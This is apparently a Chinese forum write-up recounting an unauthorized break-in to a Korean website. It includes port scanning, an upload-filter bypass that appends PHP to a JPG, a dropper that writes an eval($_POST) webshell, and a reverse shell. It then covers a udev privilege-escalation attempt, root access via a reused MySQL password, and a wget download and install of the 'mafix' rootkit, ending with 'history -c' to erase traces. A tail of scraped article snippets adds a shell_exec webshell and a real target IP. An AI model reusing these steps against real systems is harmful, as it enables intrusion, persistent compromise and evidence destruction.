首先用nmap检测一下目标网站的系统服务和一些端口banner的信息。
Nmap -v -sT -sV -O -P0 -oX test.xml ***.kr
21/tcp open ftp ProFTPD
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
25/tcp open smtp Sendmail 8.13.8/8.13.8
53/tcp open domain ISC BIND 9.3.4-P1
80/tcp open http Apache httpd
135/tcp filtered msrpc
136/tcp filtered profile
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
623/tcp filtered unknown
664/tcp filtered unknown
873/tcp open rsync (protocol version 29)
3306/tcp open mysql MySQL 4.0.27
4444/tcp filtered krb524
5000/tcp open tcpwrapped
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service Info: Host: ****.com; OS: Unix
还有一部分信息我省略了,免得占用太多篇幅,从上面的探测结果来分析,这系统显然不会是windows了,没有太大的直接利用价值,应该不会有弱口令或溢出一类的,虽然棒子比较懒,但这么弱智的还是少,一般会发生在windows的服务器上,下面就该看网站上的信息了。
网站是由一套php程序组成的,我对程序鉴别不是很在行,所以也不知道是否开源,是否有漏洞,那么我就先从google搜索关键字allinurl: .php site:***.kr 来搜寻php的页面,把google的链接放到类似于管中窥豹的这类工具中扫描,结果不出所料,一个注入点也扫不到。用web vulnerability scanner 来扫描了解下网站的整体架构。一般看了扫描结果基本对网站的整体框架就会有一定的了解,然后从中搜寻入手点。
在主页上我看到有一个登陆界面,我喜欢先找上传方面的问题,有可以同网站交互的地方,就可能存在着隐患,所以我现在注册一个账户并且登陆进去。之后再主页上找到了一个类似论坛或交流版的地方,可以发帖子,发帖功能中可以上传附件,这里就是通向webshell的桥梁,但这个桥并不是那么好过。如图1:
图片[attach]12[/attach]
选择要上传的图片后,自动就传上去了,这个省事,省着我去点上传了,图片上传好后点确定,从编辑窗口中修改编辑格式为text就可以看到上传后的地址 <IMG src="http://***.kr/data/geditor/0907/1008362430_3a017577_logo.gif"> 现在我试着伪造一个gif文件头的php木马来上传。效果如图2
图片[attach]13[/attach]
上传失败。即使后缀为gif也失败,这个上传功能看来要验证完整的图片才可以。必须要换个方法,现在使用jpginject程序来把php一句话木马注入到jpg文件中,注意这个工具只能把代码注入jpg格式的图片,不支持png以及gif(原理上来说应该可以,只不过工具打不开非jpg格式图片)。使用格式为 edjpgcom.exe 要注入的jpg图片,然后会弹出如图3的窗口:
图片[attach]14[/attach]
把代码写入里面,点OK就可以了,现在那个图片中就被注入了php一句话木马。那个挑勾的delete backup选项的意思是问是否删除备份,如果不选择的话会在当前目录生成一个后缀bak的备份文件,这个选还是不选就看自己的需要了。现在把处理过的jpg文件后缀修改为php然后上传。结果如图4
[attach]15[/attach]
图片
依然无效,看来这个工具并不适合在这里利用,可能本地包含漏洞可以试试这个(milw0rm上的录像用的就是这个工具配合本地文件包含)。现在再换一种方法,使用c32asm以16进制显示方式打开这个图片文件,在文件末尾加上php一句话代码(如图5),尽量在php代码前面在加个空格,因为有些时候如果不加空格,"<"符号会与前面的字符发生冲突。现在把插入一句话的jpg文件后缀改成php上传上去。
[attach]16[/attach]
图片
结果如图6
[attach]17[/attach]
图片
上传成功,<IMG src="http://***.kr/data/geditor/0907/1008362430_6e48f460_logo.php"> 我们用一句话客户端访问,可是结果如图7
图片[attach]19[/attach]
并没有返回我所希望的结果,将图片下载下来后用文本查看,看不到php代码,我还以为上传过程中将恶意代码过滤了,理论上来说那就是执行了,我们上传后的文件是以php解析的,应该是经执行了,后来我将这个文件放到我自己的php环境中测试发现,并没有将我们的代码过滤,那么就是执行了。既然一句话木马达不到我们的目的,我们就再换最后一个方式。依然是使用刚才的图片,用c32asm以16进制格式编辑,在文件末尾处删除掉刚刚的一句话代码,换成下面这段代码:
<?fputs(fopen("sunwear.php","w"),"<?eval(\$_POST[sunwear]);?>")?> 保存为php文件上传。这段代码的意思是在当前目录下生成一个名为sunwear.php的文件,内容是我们的一句话木马。上传后访问该地址,在然后我们试试用一句话客户端连接这个地址同目录下的sunwear.php 密码 sunwear 如图8
[attach]18[/attach]图片
这下终于传上来了。下面的工作就是传大马了,这个就不需要废话了。取得webshell并不是我理想的结果,windows不拿到系统权限不舒服,linux不拿到root感觉还是不舒服(当然有时候只能不舒服),所以继续踏上提权之旅,为了方便提权,先用webshell反弹回一个命令行的shell在说,c99这类的shell貌似都有反弹shell的功能(有perl版,有C版)。如图9
[attach]20[/attach]图片
来看下系统相关信息,来确定我们是在什么环境下。
cat /proc/version
Linux version 2.6.18-128.1.10.el5 (mockbuild@builder16.centos.org) (gcc version
4.1.2 20080704 (Red Hat 4.1.2-44)) #1 SMP Thu May 7 10:39:21 EDT 2009
cat /etc/redhat-re*
CentOS release 5.3 (Final)
uname -a
Linux eposang.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:39:21 EDT 2009 i686 i6
86 i386 GNU/Linux
内核版本是2.6.18 ,版本很高,目前只能试试新出不久的 udev 本地溢出提权漏洞了,由于返回的shell没权限使用wget,所以直接用webshell来传,创建一个文件名为1 把exp写入进去。Exploit地址http://www.milw0rm.com/exploits/8478 (还有另一个版本的exp 是C版 不过不推荐那个)。然后 chmod +x 1 赋予exp文件执行权限。
现在我们需要获取udev 的进程PID。执行下面的命令
ps ax|grep udev|grep -v grep|awk {'print $1'}
返回457,而exp参数需要的是进程ID减一,也就是456。执行
./1 456
/bin/sh: ./1: /bin/sh^M: bad interpreter: No such file or directory
这个是由系统编码所引起的错误,有些系统没事。解决方法:
Vi 1
:set ff=unix
:wq
现在OK了,继续。
./1 456
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
./1: line 131: /tmp/udev: Permission denied
/tmp/udev没有执行权限,chmod +x 无用,看来现在我就要对exploit进行修改了,把/tmp/替换为一个拥有权限的目录,比如web目录(注意不要设置与程序同一个目录),再执行看回显:
./1 456
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
执行上没有出问题,但似乎并没有成功,据baoz总等人讲,有时候需要反复溢出,但我大概溢出了N(N>10)次也没见成功,看来是人品问题。此路不通换一路,我记得2002年还是2003年来着写过一篇渗透国内某
linux服务器组的文章,大概意思是管理员的密码通用,所以下面工作就是采集信息了,现在找到网站的数据库连接配置文件。如图10:
图片[attach]21[/attach]
看到 mysql的用户和密码,可惜不是root ,这个服务器有很多库,用户名是网站的名字,似乎有点虚拟主机的样子,不过还是连接到数据库,将管理员表中的几个密码都记下来,然后一个一个得在ssh上登陆,试了大概10来个密码也没进去,最后用mysql的密码连上了root,貌似是我的大脑短路了,应该先试mysql的密码啊,这种逻辑错误的发生概率在我身上还是比较大的。之后我发现服务器上果然所有密码基本上都是同一个(ftp,ssh,网站等等)。
有了root权限剩下的工作就是留个万恶的rootkit了。前几天opensc.ws上有人放了一个linux 2.6.* 内核的rootkit ,我在自己的服务器上和虚拟机上都测试了一下,还是不错的。我传到EST论坛了,大家可以试试。帖子地址:
用root登陆ssh,wget下载 (这里下载就不用加https了,另外上面发的是帖子地址下面是附件地址,wget要连接附件的地址。)
[root@*** tmp]# wget http://forum.eviloctal.com/attachment.php?aid=13419
…… 省略 446,713 275K/s in 1.6s /* 速度还挺快 */
10:38:45 (275 KB/s) - `mafix.tar.gz' saved [446713]
在然后 tar zxvf mafix.tar.gz 解压缩。进入目录,赋予root文件执行权限,如图11
图片[attach]22[/attach]
格式为./root 连接密码 端口 回车
由于这个服务器配置问题bash没有执行权限,我还了个目录执行,如果安装成功结果会如下图12:
图片[attach]23[/attach]
安装成功后目录会自行删除,最后 history -c 清除我们的命令记录。
- web安全之文件上传漏洞
成因: 当文件上传时,若服务端脚本语言未对上传的文件进行严格验证和过滤,若恶意用户上传恶意的 脚本文件时,就有可能控制整个网站甚至是服务器,这就是文件上传漏洞. 权限: 1. 后台权限:登陆了后台,可 ...
- 基于 java 【Web安全】文件上传漏洞及目录遍历攻击
前言:web安全之文件上传漏洞,顺带讲一下目录遍历攻击.本文基于 java 写了一个示例. 原理 在上网的过程中,我们经常会将一些如图片.压缩包之类的文件上传到远端服务器进行保存.文件上传攻击指的是恶 ...
- WebLogic任意文件上传漏洞(CVE-2019-2618)
WebLogic任意文件上传漏洞(CVE-2019-2618) 0x01 漏洞描述 漏洞介绍 CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口, ...
- 【DVWA】File Upload(文件上传漏洞)通关教程
日期:2019-08-01 17:28:33 更新: 作者:Bay0net 介绍: 0x01. 漏洞介绍 在渗透测试过程中,能够快速获取服务器权限的一个办法. 如果开发者对上传的内容过滤的不严,那么就 ...
- 上传漏洞科普[1]-文件上传表单是Web安全主要威胁
为了让最终用户将文件上传到您的网站,就像是给危及您的服务器的恶意用户打开了另一扇门.即便如此,在今天的现代互联网的Web应用程序,它是一种 常见的要求,因为它有助于提高您的业务效率.在Facebook ...
- DVWA各等级文件上传漏洞
file upload 文件上传漏洞,攻击者可以通过上传木马获取服务器的webshell权限. 文件上传漏洞的利用是 够成功上传木马文件, 其次上传文件必须能够被执行, 最后就是上传文件的路径必须可知 ...
- Web应用安全之文件上传漏洞详解
什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这 ...
- 中国电信某站点JBOSS任意文件上传漏洞
1.目标站点 http://125.69.112.239/login.jsp 2.简单测试 发现是jboss,HEAD请求头绕过失败,猜测弱口令失败,发现没有删除 http://125.69.112. ...
- 小白日记38:kali渗透测试之Web渗透-手动漏洞挖掘(四)-文件上传漏洞
手动漏洞挖掘 文件上传漏洞[经典漏洞,本身为一个功能,根源:对上传文件的过滤机制不严谨] <?php echo shell_exec($_GET['cmd']);?> 直接上传webshe ...
随机推荐
- python 基础 习题
1.执行 Python 脚本的两种方式2.简述位.字节的关系 1Byte = 8bits 3.简述 ascii.unicode.utf-8.gbk 的关系 都是字符集,unicode兼容其他3种字符集 ...
- jenkins上展示html报告【转载】
转至博客:上海-悠悠 前言 在jenkins上展示html的报告,需要添加一个HTML Publisher plugin插件,把生成的html报告放到指定文件夹,这样就能用jenkins去读出指定文件 ...
- OpenCL与CUDA,CPU与GPU
OpenCL OpenCL(全称Open Computing Language,开放运算语言)是第一个面向异构系统通用目的并行编程的开放式.免费标准,也是一个统一的编程环境,便于软件开发人员为高性能计 ...
- redis之(十三)redis的三种启动方式
Part I. 直接启动 下载 官网下载 安装 tar zxvf redis-2.8.9.tar.gz cd redis-2.8.9 #直接make 编译 make #可使用root用户执行`make ...
- poj 2251(同余)
Ones Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 11461 Accepted: 6488 Description ...
- [转载] Python itertools模块详解
原文在这里,写的很详细,感谢原作者,以下摘录要点. itertools用于高效循环的迭代函数集合. 无限迭代器 迭代器 参数 结果 例子 count() start, [step] start, st ...
- 利用CSS3伪类做3D按钮
这是通过css3伪类实现的3d按钮,html代码为: <div id="container_buttons"> <p><a class="a ...
- 在LoadRunner中转换字符串大小写的C语言函数
在LoadRunner中转换字符串大小写的C语言函数 . loadrunner语言ccharacterstringaction 封装ConvertToXXX函数: //ConvertToUpper f ...
- python多线程编程(6): 队列同步
原文请看:http://www.cnblogs.com/holbrook/archive/2012/03/15/2398060.html 前面介绍了互斥锁和条件变量解决线程间的同步问题,并使用条件变量 ...
- 设置iframe 载入页面的效果跟直接打开这个页面一样
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xht ...